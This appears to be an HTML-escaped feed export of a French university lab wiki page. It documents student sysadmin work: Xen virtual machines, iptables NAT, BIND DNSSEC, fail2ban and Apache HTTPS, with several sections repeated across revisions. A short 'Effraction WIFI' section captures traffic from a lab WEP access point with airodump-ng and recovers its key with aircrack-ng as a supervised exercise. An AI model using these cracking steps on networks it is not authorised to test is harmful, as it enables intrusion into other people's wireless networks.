State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12144</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12144"/>
		<updated>2026-02-10T14:22:15Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Effraction WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
